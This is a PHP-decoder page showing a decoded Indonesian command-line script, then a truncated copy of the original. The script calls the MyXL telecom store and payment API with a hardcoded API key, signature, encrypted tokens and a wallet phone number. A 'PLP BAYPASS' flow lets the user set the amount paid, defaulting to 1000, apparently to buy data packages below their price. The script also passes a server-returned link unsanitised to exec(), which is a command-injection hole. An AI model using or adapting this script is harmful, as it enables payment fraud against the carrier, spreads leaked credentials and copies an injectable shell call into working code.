Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php system('clear'); // Memanggil file konfigurasi $konfigurasiFile = 'response.json'..
Decoded Output download
<?php
system('clear');
// Memanggil file konfigurasi
$konfigurasiFile = 'response.json';
if (file_exists($konfigurasiFile)) {
// Jika file konfigurasi sudah ada, baca data dari file
$response = json_decode(file_get_contents($konfigurasiFile), true);
// Baca file JSON yang menyimpan data item yang dipilih
$jsonData = file_get_contents('selected_item.json');
$itemData = json_decode($jsonData, true);
// Ambil kode dari data item yang dipilih
$selectedCode = $itemData['code'];
// Tetapkan nilai $packageFamilyCode dengan kode yang dipilih
$packageFamilyCode = $selectedCode;
// echo "Copy PLP ini Untuk diinput ( 5d63dddd-4f90-4f4c-8438-2f005c20151f )
";
// echo "
";
// echo "Input PLP : ";
// $bypas = trim(fgets(STDIN));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/xl-stores/options/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_dedicated_event": true,
"is_migration": false,
"is_show_tagging_tab": true,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "5d63dddd-4f90-4f4c-8438-2f005c20151f",
"referral_code": ""
}',
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 259',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_204_501',
'X-REQUEST-AT: 2024-03-09T14:26:29.25+08:00',
'X-REQUEST-ID: 39f9d67a-fbff-4f6a-a8e5-160bc5640260',
'X-VERSION-APP: 6.3.0'
),
));
$responseJson = curl_exec($curl);
curl_close($curl);
echo "
";
echo "
";
// Ubah respons JSON menjadi array asosiatif
$response111 = json_decode($responseJson, true);
// Variabel untuk menyimpan data paket yang dipilih
$selectedName = "";
$selectedPrice = "";
$selectedOriginalPrice = "";
// Tampilkan package options dengan nomor urut
$optionNumber = 1;
foreach ($response111['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
// echo $optionNumber . ". Package Option Code: " . $option['package_option_code'] . "
";
// echo " Name: " . $option['name'] . "
";
// echo " Price: " . $option['price'] . "
";
// echo " Original Price: " . $option['original_price'] . "
";
// echo " Validity: " . $option['validity'] . "
";
echo "
";
// Simpan data paket yang dipilih
$namebyps = $option['name'];
$pricebyps = $option['price'];
$originalPricebyps = $option['original_price'];
$optionNumber++;
}
}
// Meminta input dari pengguna untuk memilih nomor package option
$selectedOptionNumber = 6;
// Memeriksa apakah nomor yang dimasukkan oleh pengguna valid
if ($selectedOptionNumber >= 1 && $selectedOptionNumber <= $optionNumber - 1) {
// Menyimpan package_option_code yang dipilih berdasarkan nomor yang dimasukkan pengguna
$index = 1;
foreach ($response111['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
if ($index === $selectedOptionNumber) {
$code = $option['package_option_code'];
// Simpan data paket yang dipilih
$selectedName = $option['name'];
$selectedPrice = $option['price'];
$selectedOriginalPrice = $option['original_price'];
break 2; // keluar dari kedua loop
}
$index++;
}
}
} else {
echo "Nomor yang dimasukkan tidak valid.
";
// Keluar dari script karena nomor yang dimasukkan tidak valid
exit;
}
system('clear');
// PLP BAYPASS
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/xl-stores/options/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_dedicated_event": true,
"is_migration": false,
"is_show_tagging_tab": true,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "'.$packageFamilyCode.'",
"referral_code": ""
}',
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 259',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_204_501',
'X-REQUEST-AT: 2024-03-09T14:26:29.25+08:00',
'X-REQUEST-ID: 39f9d67a-fbff-4f6a-a8e5-160bc5640260',
'X-VERSION-APP: 6.3.0'
),
));
$responseJson = curl_exec($curl);
curl_close($curl);
echo "
";
echo "CODE OPTIONS LIST";
echo "
";
// Ubah respons JSON menjadi array asosiatif
$response1 = json_decode($responseJson, true);
// Variabel untuk menyimpan data paket yang dipilih
$selectedName = "";
$selectedPrice = "";
$selectedOriginalPrice = "";
// Tampilkan package options dengan nomor urut
$optionNumber = 1;
foreach ($response1['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
// echo $optionNumber . ". Package Option Code: " . $option['package_option_code'] . "
";
echo $optionNumber . ". Name: " . $option['name'] . "
";
echo " Price: " . $option['price'] . "
";
echo " Original Price: " . $option['original_price'] . "
";
echo " Validity: " . $option['validity'] . "
";
echo "
";
// Simpan data paket yang dipilih
$name = $option['name'];
$price = $option['price'];
$originalPrice = $option['original_price'];
$optionNumber++;
}
}
// Meminta input dari pengguna untuk memilih nomor package option
$selectedOptionNumber = (int)readline("Pilih nomor package option: ");
// Memeriksa apakah nomor yang dimasukkan oleh pengguna valid
if ($selectedOptionNumber >= 1 && $selectedOptionNumber <= $optionNumber - 1) {
// Menyimpan package_option_code yang dipilih berdasarkan nomor yang dimasukkan pengguna
$index = 1;
foreach ($response1['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
if ($index === $selectedOptionNumber) {
$selectedPackageOptionCode = $option['package_option_code'];
// Simpan data paket yang dipilih
$name = $option['name'];
$price = $option['price'];
$original = $option['original_price'];
break 2; // keluar dari kedua loop
}
$index++;
}
}
} else {
echo "Nomor yang dimasukkan tidak valid.
";
// Keluar dari script karena nomor yang dimasukkan tidak valid
exit;
}
// Sekarang Anda dapat menggunakan variabel $selectedName, $selectedPrice, dan $selectedOriginalPrice
system('clear');
// echo "
";
echo "PAKET YANG DIPILIH:
";
echo "
";
echo "Name: " . $name . "
";
echo "Price: " . $price . "
";
echo "Original Price: " . $original . "
";
echo "
";
$continue = strtolower(readline("Ingin melanjutkan? (y/n): "));
if ($continue === 'y') {
// Lanjutkan dengan logika berikutnya di sini
echo "Mohon tunggu...
";
} else {
echo "Terima kasih!
";
// Keluar dari script jika pengguna tidak ingin melanjutkan
exit;
}
// CURL PLP
$data = '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_migration": false,
"is_shareable": false,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "'.$packageFamilyCode.'",
"package_option_code": "'.$selectedPackageOptionCode.'",
"package_variant_code": "5b59c55b-0dc7-4f34-a6e9-6afa233ad53b"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v2/xl-stores/options/detail',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 382',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_84_2_521',
'X-REQUEST-AT: 2024-03-09T14:26:35.70+08:00',
'X-REQUEST-ID: 071c09c4-d05f-4879-a537-be22de90bca6',
'X-VERSION-APP: 6.3.0'
),
));
$response2 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "CODE OPTIONS DETAIL";
// echo "
";
// Handle response
$responseArray = json_decode($response2, true);
if(isset($responseArray['data'])) {
// Process the response data here
$packageOptionCode = $responseArray['data']['package_option']['package_option_code'];
$packageName = $responseArray['data']['package_option']['name'];
$tokenConfirmation = $responseArray['data']['token_confirmation'];
// Lakukan apa pun yang perlu dilakukan dengan token_confirmation di sini
// Misalnya, menyimpannya ke dalam variabel untuk digunakan nanti
// $tokenConfirmationValue = $tokenConfirmation;
// Lanjutkan dengan pemrosesan lainnya
// echo "Package Option Code: " . $packageOptionCode . "
";
// echo "Package Option Name: " . $packageName . "
";
// echo "Token Confirmation: " . $tokenConfirmation . "
";
} else {
echo "Error occurred: " . $response2;
}
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"package_option_code": "'.$packageOptionCode.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v2/xl-stores/options/addons',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 150',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_84_2_526',
'X-REQUEST-AT: 2024-03-09T14:26:35.92+08:00',
'X-REQUEST-ID: 22a90a83-b2bb-4bed-af21-bdace6c84055',
'X-VERSION-APP: 6.3.0'
),
));
$response4 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "CODE OPTIONS ADDONS";
// echo "
";
// echo $response4;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"package_option_code": "'.$selectedPackageOptionCode.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/misc/api/v1/utility/intercept-page',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 147',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_245_289_546',
'X-REQUEST-AT: 2024-03-09T14:26:44.57+08:00',
'X-REQUEST-ID: 0e71c16b-0f9d-4a67-9eeb-42cf2341e4f8',
'X-VERSION-APP: 6.3.0'
),
));
$response4 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "INTERCEPT PAGE";
// echo "
";
// echo $response4;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"is_enterprise": false,
"lang": "en"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/packages/balance-and-credit',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 35',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_2_2312511378_13-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_212_74',
'X-REQUEST-AT: 2024-03-09T17:29:43.50+08:00',
'X-REQUEST-ID: 24a0b667-6190-4356-809b-6cd2d939fcae',
'X-VERSION-APP: 6.3.0'
),
));
$response6 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "BALANCE";
// echo "
";
// echo $response6;
// Data JSON yang akan dikirim dalam permintaan curl
$data ='{
"lang": "en",
"is_enterprise": false,
"access_token": "'.$response['access_token'].'",
"is_recurring": false
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/payments/api/v1/myxlwallet/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 958',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_2_2312511378_13-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_207_77',
'X-REQUEST-AT: 2024-03-09T17:29:43.67+08:00',
'X-REQUEST-ID: 2d7d2e6f-a5ba-4570-83ee-295998a8e163',
'X-VERSION-APP: 6.3.0'
),
));
$response7 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "MYXLWALLET";
// echo "
";
// echo $response7;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"is_referral": false,
"payment_target": "'.$packageOptionCode.'",
"payment_type": "PURCHASE",
"token_confirmation": "'.$tokenConfirmation.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/payments/api/v2/payment-methods-option',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_7_2312511378_9-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_1019_614',
'X-REQUEST-AT: 2024-03-09T16:12:08.90+08:00',
'X-REQUEST-ID: 84d26e29-13ce-4662-9181-ace42bd099c2',
'X-VERSION-APP: 6.3.0'
),
));
$response5 = curl_exec($curl);
curl_close($curl);
// echo "
";
// echo "PAYMAN";
// echo "
";
$responseArray = json_decode($response5, true);
if(isset($responseArray['data'])) {
// Process the response data here
$timestamp = $responseArray['data']['timestamp'];
$tokenPayment = $responseArray['data']['token_payment'];
// Tampilkan timestamp dan token_payment
// echo "Timestamp: " . $timestamp . "
";
// echo "Token Payment: " . $tokenPayment . "
";
} else {
echo "Error occurred: " . $response5;
}
// menu pembayarab
system('clear');
echo "Pilih Menu Pembayaran
";
echo "
";
echo "1. DANA
";
echo "2. GOPAY
";
echo "3. PULSA
";
// Mengambil input dari pengguna
echo "Masukkan nomor pilihan: ";
$choice = trim(fgets(STDIN));
// Menyimpan pilihan pengguna ke dalam variabel
$payment_method = '';
$url = '';
if ($choice == '1') {
$payment_method = 'DANA';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase';
} elseif ($choice == '2') {
$payment_method = 'GOPAY';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase';
} elseif ($choice == '3') {
$payment_method = 'BALANCE';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v1/sync-purchase';
} else {
echo "Pilihan tidak valid
";
exit;
}
// INPUT PAYMANT
// Meminta input dari pengguna untuk memilih nomor package option
echo "
";
$userInput = trim(readline("Masukkan total pembayaran (Enter default 1000): "));
// Memeriksa apakah input kosong
if ($userInput === "") {
// Jika kosong, atur nilai default menjadi 1000
$totalAmount = 1000;
} else {
// Jika tidak kosong, gunakan input dari pengguna
$totalAmount = (int)$userInput;
}
// CURL BUY
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => ''.$url.'',
// 'https://api.myxl.xlaxiata.co.id/payments/api/v1/sync-purchase',
// 'https://myxl.xlaxiata.co.id/payments/api/v2/sync-purchase',
// 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
// CURLOPT_RTSP_SESSION_ID => 'b1bbfcd3-d1eb-46d3-9651-ee32371ccbd7',
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"access_token": "'.$response['access_token'].'",
"additional_data": {
"akrab_m2m_group_id": "false",
"balance_type": "",
"benefit_type": "",
"combo_details": [],
"discount_promo": 0,
"discount_recurring": 0,
"has_bonus": true,
"is_akrab_m2m": false,
"is_family_plan": false,
"is_spend_limit": false,
"is_spend_limit_temporary": false,
"is_switch_plan": false,
"migration_type": "",
"mission_id": "",
"original_price": '.$originalPricebyps.',
"quota_bonus": 0,
"spend_limit_amount": 0,
"tax": 0
},
"akrab_members": [],
"akrab_parent_alias": "",
"authentication_id": "",
"can_trigger_rating": false,
"cc_payment_type": "",
"coupon": "",
"encrypted_authentication_id": "_TVtRWmPBGcGTcSTYjU6-w==f213eb67bb201111",
"encrypted_payment_token": "e7KtDHYO7bs03FP6zAogbA==3d4495589007ae6a",
"ewallet_promo_id": "",
"fingerprint": "",
"is_myxl_wallet": false,
"is_use_point": false,
"items": [
{
"item_code": "'.$code.'",
"item_name": "'.$namebyps.'",
"item_price": 1000,
"tax": 0
},
{
"item_code": "'.$packageOptionCode.'",
"item_name": "'.$name.'",
"item_price": '.$price.',
"tax": 0
}
],
"members": [],
"payment_for": "BUY_PACKAGE",
"payment_method": "'.$payment_method.'",
"payment_token": "",
"pin": "",
"points_gained": 0,
"referral_unique_code": "",
"stage_token": "",
"token": "",
"topup_number": "",
"total_amount": '.$totalAmount.',
"total_discount": 0,
"wallet_number": "082251229834"
}',
CURLOPT_HTTPHEADER => array(
'Host: api.myxl.xlaxiata.co.id',
'x-dynatrace: MT_3_1_4267426591_48-0_24d94a15-af8c-49e7-96a0-1ddb48909564_112_186_306',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'authorization: Bearer '.$response['id_token'], // Perhatikan bahwa value untuk authorization perlu diisi sesuai dengan token yang valid
// 'x-request-id: 5214b9bf-d57f-4ead-9cf0-fe0a0823c85c',
// 'x-request-at: 2024-03-09T22:33:56.99+07:00',
'x-version-app: 6.3.0',
'x-hv: v3',
'x-signature: 2e5f9716dca41c5569643098669ddddf1c45d3901b93af5155a4f48263aca7ee367bef4a9f36b14bcb7b75da2d59b4787f37bb5b9d1c0ac41bd4ed5c92a351b2',
'user-agent: myXL / 6.3.0(797); com.android.vending; (Xiaomi; Redmi Note 8; SDK 33; Android 13)',
'content-type: application/json; charset=utf-8',
// 'content-length: 2405',
'accept-encoding: gzip',
),
));
$response3 = curl_exec($curl);
curl_close($curl);
// Menampilkan sebagian hasil (misalnya, 100 karakter pertama)
echo "
";
echo "BUY PAKET";
echo "
";
// Dekode URL
// Dekode respons JSON jika respons tidak kosong
if (!empty($response3)) {
// Dekode URL
$decoded_url = urldecode($response3);
// Mengganti karakter & dengan &
$decoded_url = str_replace('&', '&', $decoded_url);
// Menampilkan hasil
echo $decoded_url;
// Mengonversi respons JSON menjadi array assosiatif
$json_response = json_decode($response3, true);
// Mengekstrak deep link dari data JSON jika $json_response tidak null
if (!is_null($json_response)) {
$deeplink = isset($json_response['data']['deeplink']) ? $json_response['data']['deeplink'] : '';
if (!empty($deeplink)) {
// Membuka tautan di browser
exec("xdg-open '$deeplink'");
} else {
echo "Link pembayan tidak ditemukan.";
}
} else {
echo "Respons JSON tidak valid.";
}
} else {
echo "Respons dari server kosong.";
}
}
echo "
";
echo "Tekan Enter untuk kembali ke menu";
fgets(STDIN);
// Include skrip PHP main.php
include 'main.php';
// Hentikan eksekusi skrip setelah include main.php
exit();
?>
Did this file decode correctly?
Original Code
<?php
system('clear');
// Memanggil file konfigurasi
$konfigurasiFile = 'response.json';
if (file_exists($konfigurasiFile)) {
// Jika file konfigurasi sudah ada, baca data dari file
$response = json_decode(file_get_contents($konfigurasiFile), true);
// Baca file JSON yang menyimpan data item yang dipilih
$jsonData = file_get_contents('selected_item.json');
$itemData = json_decode($jsonData, true);
// Ambil kode dari data item yang dipilih
$selectedCode = $itemData['code'];
// Tetapkan nilai $packageFamilyCode dengan kode yang dipilih
$packageFamilyCode = $selectedCode;
// echo "Copy PLP ini Untuk diinput ( 5d63dddd-4f90-4f4c-8438-2f005c20151f )\n";
// echo "\n";
// echo "Input PLP : ";
// $bypas = trim(fgets(STDIN));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/xl-stores/options/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_dedicated_event": true,
"is_migration": false,
"is_show_tagging_tab": true,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "5d63dddd-4f90-4f4c-8438-2f005c20151f",
"referral_code": ""
}',
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 259',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_204_501',
'X-REQUEST-AT: 2024-03-09T14:26:29.25+08:00',
'X-REQUEST-ID: 39f9d67a-fbff-4f6a-a8e5-160bc5640260',
'X-VERSION-APP: 6.3.0'
),
));
$responseJson = curl_exec($curl);
curl_close($curl);
echo "\n\n";
echo "\n\n";
// Ubah respons JSON menjadi array asosiatif
$response111 = json_decode($responseJson, true);
// Variabel untuk menyimpan data paket yang dipilih
$selectedName = "";
$selectedPrice = "";
$selectedOriginalPrice = "";
// Tampilkan package options dengan nomor urut
$optionNumber = 1;
foreach ($response111['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
// echo $optionNumber . ". Package Option Code: " . $option['package_option_code'] . "\n";
// echo " Name: " . $option['name'] . "\n";
// echo " Price: " . $option['price'] . "\n";
// echo " Original Price: " . $option['original_price'] . "\n";
// echo " Validity: " . $option['validity'] . "\n";
echo "\n";
// Simpan data paket yang dipilih
$namebyps = $option['name'];
$pricebyps = $option['price'];
$originalPricebyps = $option['original_price'];
$optionNumber++;
}
}
// Meminta input dari pengguna untuk memilih nomor package option
$selectedOptionNumber = 6;
// Memeriksa apakah nomor yang dimasukkan oleh pengguna valid
if ($selectedOptionNumber >= 1 && $selectedOptionNumber <= $optionNumber - 1) {
// Menyimpan package_option_code yang dipilih berdasarkan nomor yang dimasukkan pengguna
$index = 1;
foreach ($response111['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
if ($index === $selectedOptionNumber) {
$code = $option['package_option_code'];
// Simpan data paket yang dipilih
$selectedName = $option['name'];
$selectedPrice = $option['price'];
$selectedOriginalPrice = $option['original_price'];
break 2; // keluar dari kedua loop
}
$index++;
}
}
} else {
echo "Nomor yang dimasukkan tidak valid.\n";
// Keluar dari script karena nomor yang dimasukkan tidak valid
exit;
}
system('clear');
// PLP BAYPASS
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/xl-stores/options/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_dedicated_event": true,
"is_migration": false,
"is_show_tagging_tab": true,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "'.$packageFamilyCode.'",
"referral_code": ""
}',
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 259',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_204_501',
'X-REQUEST-AT: 2024-03-09T14:26:29.25+08:00',
'X-REQUEST-ID: 39f9d67a-fbff-4f6a-a8e5-160bc5640260',
'X-VERSION-APP: 6.3.0'
),
));
$responseJson = curl_exec($curl);
curl_close($curl);
echo "\n\n";
echo "CODE OPTIONS LIST";
echo "\n\n";
// Ubah respons JSON menjadi array asosiatif
$response1 = json_decode($responseJson, true);
// Variabel untuk menyimpan data paket yang dipilih
$selectedName = "";
$selectedPrice = "";
$selectedOriginalPrice = "";
// Tampilkan package options dengan nomor urut
$optionNumber = 1;
foreach ($response1['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
// echo $optionNumber . ". Package Option Code: " . $option['package_option_code'] . "\n";
echo $optionNumber . ". Name: " . $option['name'] . "\n";
echo " Price: " . $option['price'] . "\n";
echo " Original Price: " . $option['original_price'] . "\n";
echo " Validity: " . $option['validity'] . "\n";
echo "\n";
// Simpan data paket yang dipilih
$name = $option['name'];
$price = $option['price'];
$originalPrice = $option['original_price'];
$optionNumber++;
}
}
// Meminta input dari pengguna untuk memilih nomor package option
$selectedOptionNumber = (int)readline("Pilih nomor package option: ");
// Memeriksa apakah nomor yang dimasukkan oleh pengguna valid
if ($selectedOptionNumber >= 1 && $selectedOptionNumber <= $optionNumber - 1) {
